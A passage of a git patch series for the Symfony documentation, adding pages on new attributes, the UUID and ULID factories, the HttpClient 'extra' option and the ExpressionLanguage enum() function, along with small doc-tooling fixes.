-        public function loadExtension(array $config, ContainerConfigurator $containerConfigurator, ContainerBuilder $builder): void
+        public function loadExtension(array $config, ContainerConfigurator $containerConfigurator, ContainerBuilder $containerBuilder): void
         {
             // load an XML, PHP or Yaml file
             $containerConfigurator->import('../config/services.xml');
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index 52bf9d0e5f2..bc3c8342b58 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -173,10 +173,10 @@ method::
 
     class FooBundle extends AbstractBundle
     {
-        public function prependExtension(ContainerConfigurator $containerConfigurator, ContainerBuilder $builder): void
+        public function prependExtension(ContainerConfigurator $containerConfigurator, ContainerBuilder $containerBuilder): void
         {
             // prepend
-            $builder->prependExtensionConfig('framework', [
+            $containerBuilder->prependExtensionConfig('framework', [
                 'cache' => ['prefix_seed' => 'foo/bar'],
             ]);
 
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index c7755790764..fca778f2e6a 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -247,9 +247,9 @@ Now it looks like this::
             return $bundles;
         }
 
-        protected function build(ContainerBuilder $container)
+        protected function build(ContainerBuilder $containerBuilder)
         {
-            $container->registerExtension(new AppExtension());
+            $containerBuilder->registerExtension(new AppExtension());
         }
 
         protected function configureContainer(ContainerConfigurator $containerConfigurator): void
@@ -325,10 +325,10 @@ add a service conditionally based on the ``foo`` value::
                 ->end();
         }
 
-        public function loadExtension(array $config, ContainerConfigurator $containerConfigurator, ContainerBuilder $builder): void
+        public function loadExtension(array $config, ContainerConfigurator $containerConfigurator, ContainerBuilder $containerBuilder): void
         {
             if ($config['foo']) {
-                $builder->register('foo_service', \stdClass::class);
+                $containerBuilder->register('foo_service', \stdClass::class);
             }
         }
     }

From 856e6f08debe412bfb254b2cf19bb49bc83ae056 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 7 Jan 2023 19:14:51 +0100
Subject: [PATCH 4063/7107] [FrameworkBundle] Add extra attribute for
 HttpClient Configuration

---
 http_client.rst                       |  3 ++-
 reference/configuration/framework.rst | 12 ++++++++++++
 2 files changed, 14 insertions(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index f7715ce2a1d..b2e121e077e 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -143,7 +143,8 @@ method to retrieve a new instance of the client with new default options::
 
     $this->client = $client->withOptions([
         'base_uri' => 'https://...',
-        'headers' => ['header-name' => 'header-value']
+        'headers' => ['header-name' => 'header-value'],
+        'extra' => ['my-key' => 'my-value'],
     ]);
 
 Some options are described in this guide:
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 754ca8d9f89..0122f445572 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1031,6 +1031,18 @@ enabled
 Whether to enable the support for retry failed HTTP request or not.
 This setting is automatically set to true when one of the child settings is configured.
 
+extra
+.....
+
+**type**: ``array``
+
+Arbitrary additional data to pass to the HTTP client for further use.
+This can be particularly useful when :ref:`decorating an existing client <extensibility>`.
+
+.. versionadded:: 6.3
+
+    The ``extra`` option has been introduced in Symfony 6.3.
+
 .. _http-headers:
 
 headers

From 1fdd76780f4d01011aa7fe82ebaa2f75fe736f55 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 8 Jan 2023 12:48:37 +0100
Subject: [PATCH 4064/7107] Update caution resolve doctrine example

---
 doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index 88b5237e6e1..4b205fe73c4 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -65,7 +65,7 @@ The database connection information is stored as an environment variable called
     you must encode them. See `RFC 3986`_ for the full list of reserved characters or
     use the :phpfunction:`urlencode` function to encode them. In this case you need to
     remove the ``resolve:`` prefix in ``config/packages/doctrine.yaml`` to avoid errors:
-    ``url: '%env(resolve:DATABASE_URL)%'``
+    ``url: '%env(DATABASE_URL)%'``
 
 Now that your connection parameters are setup, Doctrine can create the ``db_name``
 database for you:

From de628c81a92edf33d24038671b3a74fcbb143ab1 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 8 Jan 2023 14:56:01 +0100
Subject: [PATCH 4065/7107] [Uid] Add `UuidFactory` and `UlidFactory` mentions

---
 components/uid.rst | 126 +++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 126 insertions(+)

diff --git a/components/uid.rst b/components/uid.rst
index c2a0c79315b..b2d35f4154f 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -87,6 +87,103 @@ following methods to create a ``Uuid`` object from it::
     The ``fromBinary()``, ``fromBase32()``, ``fromBase58()`` and ``fromRfc4122()``
     methods were introduced in Symfony 5.3.
 
+You can also use the ``UuidFactory`` to generate UUIDs. First, you may
+configure the behavior of the factory using configuration files::
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/uid.yaml
+        framework:
+            uid:
+                default_uuid_version: 6
+                name_based_uuid_version: 5
+                name_based_uuid_namespace: ~
+                time_based_uuid_version: 6
+                time_based_uuid_node: ~
+
+    .. code-block:: xml
+
+        <!-- config/packages/uid.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+                   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                   xmlns:framework="http://symfony.com/schema/dic/symfony"
+                   xsi:schemaLocation="http://symfony.com/schema/dic/services
+                        https://symfony.com/schema/dic/services/services-1.0.xsd
+                        http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:uid
+                    default_uuid_version="6"
+                    name_based_uuid_version="5"
+                    name_based_uuid_namespace=""
+                    time_based_uuid_version="6"
+                    time_based_uuid_node=""
+                />
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/uid.php
+        <?php
+
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return static function (ContainerConfigurator $configurator): void {
+            $services = $configurator->services()
+                ->defaults()
+                ->autowire()
+                ->autoconfigure();
+
+            $configurator->extension('framework', [
+                'uid' => [
+                    'default_uuid_version' => 6,
+                    'name_based_uuid_version' => 5,
+                    'name_based_uuid_namespace' => '',
+                    'time_based_uuid_version' => 6,
+                    'time_based_uuid_node' => '',
+                ],
+            ]);
+        };
+
+Then, you can inject the factory in your services and use it to generate UUIDs based
+on the configuration you defined::
+
+    <?php
+
+    namespace App\Service;
+
+    use Symfony\Component\Uid\Factory\UuidFactory;
+
+    class FooService
+    {
+        private UuidFactory $uuidFactory;
+
+        public function __construct(UuidFactory $uuidFactory)
+        {
+            $this->uuidFactory = $uuidFactory;
+        }
+
+        public function generate(): void
+        {
+            // This creates a UUID of the version given in the configuration file (v6 by default)
+            $uuid = $this->uuidFactory->create();
+
+            $nameBasedUuid = $this->uuidFactory->nameBased(/** ... */);
+            $randomBasedUuid = $this->uuidFactory->randomBased();
+            $timestampBased = $this->uuidFactory->timeBased();
+
+            // ...
+        }
+    }
+
+.. versionadded:: 5.3
+
+    The ``UuidFactory`` was introduced in Symfony 5.3.
+
 Converting UUIDs
 ~~~~~~~~~~~~~~~~
 
@@ -268,6 +365,35 @@ following methods to create a ``Ulid`` object from it::
     The ``fromBinary()``, ``fromBase32()``, ``fromBase58()`` and ``fromRfc4122()``
     methods were introduced in Symfony 5.3.
 
+Like UUIDs, ULIDs have their own factory, ``UlidFactory``, that can be used to generate them::
+
+    <?php
+
+    namespace App\Service;
+
+    use Symfony\Component\Uid\Factory\UlidFactory;
+
+    class FooService
+    {
+        private UlidFactory $ulidFactory;
+
+        public function __construct(UlidFactory $ulidFactory)
+        {
+            $this->ulidFactory = $ulidFactory;
+        }
+
+        public function generate(): void
+        {
+            $ulid = $this->ulidFactory->create();
+
+            // ...
+        }
+    }
+
+.. versionadded:: 5.3
+
+    The ``UlidFactory`` was introduced in Symfony 5.3.
+
 There's also a special ``NilUlid`` class to represent ULID ``null`` values::
 
     use Symfony\Component\Uid\NilUlid;

From 979b307cc3e6b8d7aefd19033676e1ed306b174d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 8 Jan 2023 17:50:17 +0100
Subject: [PATCH 4066/7107] [HttpKernel] Allow using #[WithHttpStatus] for
 setting status code and headers

---
 reference/configuration/framework.rst | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 65d5658ce91..785d2193f7c 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3611,6 +3611,27 @@ use the configuration of the first exception that matches ``instanceof``:
                     log_level: 'debug'
                     status_code: 422
 
+You can map a status code and a set of headers to an exception thanks
+to the ``#[WithHttpStatus]`` attribute on the exception class:
+
+.. code-block:: php
+
+        namespace App\Exception;
+
+        use Symfony\Component\HttpKernel\Attribute\WithHttpStatus;
+
+        #[WithHttpStatus(422, [
+           'Retry-After' => 10,
+           'X-Custom-Header' => 'header-value',
+        ])]
+        class CustomException extends \Exception
+        {
+        }
+
+.. versionadded:: 6.3
+
+    The ``#[WithHttpStatus]`` attribute was introduced in Symfony 6.3.
+
 .. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
 .. _`Security Advisory Blog post`: https://symfony.com/blog/security-releases-symfony-2-0-24-2-1-12-2-2-5-and-2-3-3-released#cve-2013-4752-request-gethost-poisoning
 .. _`PhpStormProtocol`: https://github.com/aik099/PhpStormProtocol

From 49e2405e6b5e3639e345709634a99e54a0c374b0 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 8 Jan 2023 20:05:48 +0100
Subject: [PATCH 4067/7107] [DependencyInjection] Add #[AsTaggedItem]
 documentation

---
 service_container/tags.rst | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 9de74dc922c..7196d5fea93 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -897,3 +897,25 @@ array element. For example, to retrieve the ``handler_two`` handler::
                     ])
                 ;
             };
+
+The #[AsTaggedItem] attribute
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+It is possible to define both the priority and the index of a tagged
+item thanks to the ``#[AsTaggedItem]`` attribute. This attribute must
+be used directly on the class of the service you want to configure::
+
+    // src/Handler/One.php
+    namespace App\Handler;
+
+    use Symfony\Component\DependencyInjection\Attribute\AsTaggedItem;
+
+    #[AsTaggedItem(index: 'handler_one', priority: 10)]
+    class One
+    {
+        // ...
+    }
+
+.. versionadded:: 5.3
+
+    The ``#[AsTaggedItem]`` attribute was introduced in Symfony 5.3 and requires PHP 8.

From ce1630167183e24043c8068acf1a593ca480ef25 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 8 Jan 2023 20:24:09 +0100
Subject: [PATCH 4068/7107] [DependencyInjection] Add #[Autoconfigure] and
 #[AutoconfigureTag] documentation

---
 service_container/tags.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 9de74dc922c..f840059afeb 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -117,6 +117,29 @@ If you want to apply tags automatically for your own services, use the
                     ->tag('app.custom_tag');
         };
 
+It is also possible to use the ``#[AutoconfigureTag]`` attribute directly on the
+base class or interface::
+
+    // src/Security/CustomInterface.php
+    namespace App\Security;
+
+    use Symfony\Component\DependencyInjection\Attribute\AutoconfigureTag;
+
+    #[AutoconfigureTag('app.custom_tag')]
+    interface CustomInterface
+    {
+        // ...
+    }
+
+.. tip::
+
+    If you need more capabilities to autoconfigure instances of your base class
+    like their laziness, their bindings or their calls for example, you may rely
+    on the :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autoconfigure` attribute.
+
+.. versionadded:: 5.3
+
+    The ``#[Autoconfigure]`` and ``#[AutoconfigureTag]`` attributes were introduced in Symfony 5.3.
 
 For more advanced needs, you can define the automatic tags using the
 :method:`Symfony\\Component\\DependencyInjection\\ContainerBuilder::registerForAutoconfiguration` method.

From 740e44fc42f9ade8a14ac4a51693a17a4caa3f1f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Jan 2023 17:55:37 +0100
Subject: [PATCH 4069/7107] Minor syntax tweak

---
 reference/configuration/framework.rst | 22 ++++++++++------------
 1 file changed, 10 insertions(+), 12 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 785d2193f7c..8556d12338b 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3612,21 +3612,19 @@ use the configuration of the first exception that matches ``instanceof``:
                     status_code: 422
 
 You can map a status code and a set of headers to an exception thanks
-to the ``#[WithHttpStatus]`` attribute on the exception class:
+to the ``#[WithHttpStatus]`` attribute on the exception class::
 
-.. code-block:: php
+    namespace App\Exception;
 
-        namespace App\Exception;
+    use Symfony\Component\HttpKernel\Attribute\WithHttpStatus;
 
-        use Symfony\Component\HttpKernel\Attribute\WithHttpStatus;
-
-        #[WithHttpStatus(422, [
-           'Retry-After' => 10,
-           'X-Custom-Header' => 'header-value',
-        ])]
-        class CustomException extends \Exception
-        {
-        }
+    #[WithHttpStatus(422, [
+       'Retry-After' => 10,
+       'X-Custom-Header' => 'header-value',
+    ])]
+    class CustomException extends \Exception
+    {
+    }
 
 .. versionadded:: 6.3
 

From ce8739e680c5e4e8431c056f581eac0fca2c49a4 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 8 Jan 2023 20:45:30 +0100
Subject: [PATCH 4070/7107] [DependencyInjection] Add #[Target] documentation

---
 service_container/autowiring.rst | 30 ++++++++++++++++++++++++++++++
 1 file changed, 30 insertions(+)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index d74b445a054..084f37587a2 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -531,6 +531,36 @@ If the argument is named ``$shoutyTransformer``,
 But, you can also manually wire any *other* service by specifying the argument
 under the arguments key.
 
+Another possibility is to use the ``#[Target]`` attribute. By using this attribute
+on the argument you want to autowire, you can define exactly which service to inject
+by using its alias. Thanks to this, you're able to have multiple services implementing
+the same interface and keep the argument name decorrelated of any implementation name
+(like shown in the example above).
+
+Let's say you defined the ``app.uppercase_transformer`` alias for the
+``App\Util\UppercaseTransformer`` service. You would be able to use the ``#[Target]``
+attribute like this::
+
+    // src/Service/MastodonClient.php
+    namespace App\Service;
+
+    use App\Util\TransformerInterface;
+    use Symfony\Component\DependencyInjection\Attribute\Target;
+
+    class MastodonClient
+    {
+        private $transformer;
+
+        public function __construct(#[Target('app.uppercase_transformer')] TransformerInterface $transformer)
+        {
+            $this->transformer = $transformer;
+        }
+    }
+
+.. versionadded:: 5.3
+
+    The ``#[Target]`` attribute was introduced in Symfony 5.3.
+
 Fixing Non-Autowireable Arguments
 ---------------------------------
 

From 5232e0d8b24edc5b7b7a284151f167c6c664e8ff Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 9 Jan 2023 18:33:13 +0100
Subject: [PATCH 4071/7107] [Uid] Use constructor property promotion for
 UuidFactory and UlidFactory examples

---
 components/uid.rst | 10 ++--------
 1 file changed, 2 insertions(+), 8 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 0af55566165..332d523eae2 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -146,11 +146,8 @@ on the configuration you defined::
 
     class FooService
     {
-        private UuidFactory $uuidFactory;
-
-        public function __construct(UuidFactory $uuidFactory)
+        public function __construct(private UuidFactory $uuidFactory)
         {
-            $this->uuidFactory = $uuidFactory;
         }
 
         public function generate(): void
@@ -337,11 +334,8 @@ Like UUIDs, ULIDs have their own factory, ``UlidFactory``, that can be used to g
 
     class FooService
     {
-        private UlidFactory $ulidFactory;
-
-        public function __construct(UlidFactory $ulidFactory)
+        public function __construct(private UlidFactory $ulidFactory)
         {
-            $this->ulidFactory = $ulidFactory;
         }
 
         public function generate(): void

From 8e427e4e021a0803606e85c48ce91e2c5aafe33b Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 9 Jan 2023 19:48:45 +0100
Subject: [PATCH 4072/7107] Remove commented rule

---
 .doctor-rst.yaml | 1 -
 1 file changed, 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index e440e026fa9..5b47aa51c28 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -49,7 +49,6 @@ rules:
     versionadded_directive_should_have_version: ~
     yaml_instead_of_yml_suffix: ~
     yarn_dev_option_at_the_end: ~
-#    no_app_bundle: ~
 
     #   master
     versionadded_directive_major_version:

From 70465944e0c4b62a2a562099d8945a835957bcaf Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 9 Jan 2023 23:12:32 +0100
Subject: [PATCH 4073/7107] Enable ensure_link_definition_contains_valid_url
 doctor-rst rule

---
 .doctor-rst.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 5b47aa51c28..3c671b143db 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -7,6 +7,7 @@ rules:
     composer_dev_option_not_at_the_end: ~
     correct_code_block_directive_based_on_the_content: ~
     deprecated_directive_should_have_version: ~
+    ensure_exactly_one_space_before_directive_type: ~
     ensure_exactly_one_space_between_link_definition_and_link: ~
     ensure_link_definition_contains_valid_url: ~
     ensure_order_of_code_blocks_in_configuration_block: ~

From 17b880b64dc34299023248b61ec93f7c2421e9e9 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 10 Jan 2023 09:20:22 +0100
Subject: [PATCH 4074/7107] Use CPP

---
 service_container/autowiring.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index f6064970e2c..103d92aae84 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -547,11 +547,10 @@ attribute like this::
 
     class MastodonClient
     {
-        private $transformer;
-
-        public function __construct(#[Target('app.uppercase_transformer')] TransformerInterface $transformer)
-        {
-            $this->transformer = $transformer;
+        public function __construct(
+            #[Target('app.uppercase_transformer')]
+            private TransformerInterface $transformer
+        ){
         }
     }
 

From 4b6ee9ded1f4225861a37cfc5e459768df537591 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 10 Jan 2023 09:22:43 +0100
Subject: [PATCH 4075/7107] Better highlighting

---
 service_container/tags.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 7196d5fea93..0e376d46a4b 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -898,8 +898,8 @@ array element. For example, to retrieve the ``handler_two`` handler::
                 ;
             };
 
-The #[AsTaggedItem] attribute
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+The ``#[AsTaggedItem]`` attribute
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 It is possible to define both the priority and the index of a tagged
 item thanks to the ``#[AsTaggedItem]`` attribute. This attribute must

From 2e6cbc2191905f8844625ee738cccca6cd55d9b4 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 10 Jan 2023 09:22:59 +0100
Subject: [PATCH 4076/7107] Minor

---
 service_container/tags.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 0e376d46a4b..53e0374b4c8 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -918,4 +918,4 @@ be used directly on the class of the service you want to configure::
 
 .. versionadded:: 5.3
 
-    The ``#[AsTaggedItem]`` attribute was introduced in Symfony 5.3 and requires PHP 8.
+    The ``#[AsTaggedItem]`` attribute was introduced in Symfony 5.3.

From a21f9c891442116ab530a13ea77ed825e0237633 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 10 Jan 2023 09:23:34 +0100
Subject: [PATCH 4077/7107] Remove obsolete versionadded directive

---
 service_container/tags.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 751ae20c86c..a69b9b1b754 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -911,7 +911,3 @@ be used directly on the class of the service you want to configure::
     {
         // ...
     }
-
-.. versionadded:: 5.3
-
-    The ``#[AsTaggedItem]`` attribute was introduced in Symfony 5.3.

From c6ce66cb240eaa0e1f0bdfb02f15bcc57ebf122c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 10 Jan 2023 09:24:28 +0100
Subject: [PATCH 4078/7107] Remove obsolete versionadded directive

---
 service_container/autowiring.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 103d92aae84..328d01fe648 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -554,10 +554,6 @@ attribute like this::
         }
     }
 
-.. versionadded:: 5.3
-
-    The ``#[Target]`` attribute was introduced in Symfony 5.3.
-
 Fixing Non-Autowireable Arguments
 ---------------------------------
 

From b93967ad41fd1baac5ea77100bbf5773aa992ea2 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 10 Jan 2023 09:55:00 +0100
Subject: [PATCH 4079/7107] Fix: Typos

---
 service_container/service_subscribers_locators.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 3785975549e..c3cf4c6a744 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -307,8 +307,8 @@ or directly via PHP attributes:
             <services>
                 <service id="App\CommandBus">
                     <argument type="service_locator">
-                        <argument key="App\FooCommand" type="service" id="sapp.command_handler.foo"/>
-                        <argument key="App\BarCommandr" type="service" id="app.command_handler.bar"/>
+                        <argument key="App\FooCommand" type="service" id="app.command_handler.foo"/>
+                        <argument key="App\BarCommand" type="service" id="app.command_handler.bar"/>
                         <!-- if the element has no key, the ID of the original service is used -->
                         <argument type="service" id="app.command_handler.baz"/>
                     </argument>

From 42dc55113d2f22d0b349039c59d49e9f8ce8a54d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 30 Dec 2022 08:55:05 +0100
Subject: [PATCH 4080/7107] [ExpressionLanguage] Add `enum` expression function

---
 components/expression_language/syntax.rst | 50 +++++++++++++++++++++--
 1 file changed, 47 insertions(+), 3 deletions(-)

diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
index de0fddf80bf..ae91619b43b 100644
--- a/components/expression_language/syntax.rst
+++ b/components/expression_language/syntax.rst
@@ -127,9 +127,16 @@ Working with Functions
 ----------------------
 
 You can also use registered functions in the expression by using the same
-syntax as PHP and JavaScript. The ExpressionLanguage component comes with one
-function by default: ``constant()``, which will return the value of the PHP
-constant::
+syntax as PHP and JavaScript. The ExpressionLanguage component comes with the
+following functions by default:
+
+* ``constant()``
+* ``enum()``
+
+``constant()`` function
+~~~~~~~~~~~~~~~~~~~~~~~
+
+This function will return the value of a PHP constant::
 
     define('DB_USER', 'root');
 
@@ -139,6 +146,43 @@ constant::
 
 This will print out ``root``.
 
+This also works with class constants::
+
+    namespace App\SomeNamespace;
+
+    class Foo
+    {
+        public const API_ENDPOINT = '/api';
+    }
+
+    var_dump($expressionLanguage->evaluate(
+        'constant("App\\\SomeNamespace\\\Foo::API_ENDPOINT")'
+    ));
+
+This will print out ``/api``.
+
+``enum()`` function
+~~~~~~~~~~~~~~~~~~~
+
+This function will return the case of an enumeration::
+
+    namespace App\SomeNamespace;
+
+    enum Foo
+    {
+        case Bar;
+    }
+
+    var_dump(App\Enum\Foo::Bar === $expressionLanguage->evaluate(
+        'enum("App\\\SomeNamespace\\\Foo::Bar")'
+    ));
+
+This will print out ``true``.
+
+.. versionadded:: 6.3
+
+    The ``enum()`` function was introduced in Symfony 6.3.
+
 .. tip::
 
     To read how to register your own functions to use in an expression, see

From d18c23844c341a2cdb274477ac0a763f9507972c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 8 Dec 2022 13:35:38 +0100
Subject: [PATCH 4081/7107] [PhpUnitBridge] Add `enum_exists` mock

---
 components/phpunit_bridge.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 8650153e378..068753f9461 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -736,6 +736,7 @@ reason, this component also provides mocks for these PHP functions:
 * :phpfunction:`class_exists`
 * :phpfunction:`interface_exists`
 * :phpfunction:`trait_exists`
+* :phpfunction:`enum_exists`
 
 Use Case
 ~~~~~~~~
@@ -798,6 +799,16 @@ classes, interfaces and/or traits for the code to run::
         }
     }
 
+Note that mocking a class with ``ClassExistsMock::withMockedClasses()``
+will make :phpfunction:`class_exists`, :phpfunction:`interface_exists`
+and :phpfunction:`trait_exists` return true.
+
+To register an enumeration and mock :phpfunction:`enum_exists`,
+``ClassExistsMock::withMockedEnums()`` must be used. Note that, like in
+PHP 8.1 and later, calling ``class_exists`` on a enum will return ``true``.
+That's why calling ``ClassExistsMock::withMockedEnums()`` will also register the enum
+as a mocked class.
+
 Troubleshooting
 ---------------
 

From 3dc80fb62798723b9a9b1fc7a02af29905fca7af Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 10 Jan 2023 14:15:20 +0100
Subject: [PATCH 4082/7107] Add missing versionadded directives

---
 components/phpunit_bridge.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 068753f9461..51978320cc7 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -738,6 +738,10 @@ reason, this component also provides mocks for these PHP functions:
 * :phpfunction:`trait_exists`
 * :phpfunction:`enum_exists`
 
+.. versionadded:: 6.3
+
+    The ``enum_exists`` function was introduced in Symfony 6.3.
+
 Use Case
 ~~~~~~~~
 
@@ -809,6 +813,10 @@ PHP 8.1 and later, calling ``class_exists`` on a enum will return ``true``.
 That's why calling ``ClassExistsMock::withMockedEnums()`` will also register the enum
 as a mocked class.
 
+.. versionadded:: 6.3
+
+    The ``enum_exists`` function was introduced in Symfony 6.3.
+
 Troubleshooting
 ---------------
 

From 4150435c75fcb40dc74a6b6047c3717aabbd9bcd Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 10 Jan 2023 14:18:21 +0100
Subject: [PATCH 4083/7107] Remove obsolete versionadded directive

---
 service_container/tags.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 668fafaabc5..913dd417ee4 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -137,10 +137,6 @@ base class or interface::
     like their laziness, their bindings or their calls for example, you may rely
     on the :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autoconfigure` attribute.
 
-.. versionadded:: 5.3
-
-    The ``#[Autoconfigure]`` and ``#[AutoconfigureTag]`` attributes were introduced in Symfony 5.3.
-
 For more advanced needs, you can define the automatic tags using the
 :method:`Symfony\\Component\\DependencyInjection\\ContainerBuilder::registerForAutoconfiguration` method.
 

From b8350735a0581bbb138a3843b2353ebe2f7c6ac2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 10 Jan 2023 17:49:37 +0100
Subject: [PATCH 4084/7107] Add missing redirection

---
 _build/redirection_map | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/_build/redirection_map b/_build/redirection_map
index 315b95fda93..064f9c8261a 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -536,4 +536,5 @@
 /components/security/firewall /security#the-firewall
 /components/security/secure_tools /security/passwords
 /components/security /security
-/components/var_dumper/advanced /components/var_dumper
+/components/var_dumper/advanced /components/var_dumper#advanced-usage
+/components/yaml/yaml_format /components/yaml#yaml-format

From cc8d4ed5d24680d2a019b37dec4f5e9584e0febd Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 6 Jan 2023 13:31:14 +0100
Subject: [PATCH 4085/7107] [HttpKernel] Add #[WithLogLevel] attribute

---
 reference/configuration/framework.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 8556d12338b..f40fa07c62b 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3630,6 +3630,23 @@ to the ``#[WithHttpStatus]`` attribute on the exception class::
 
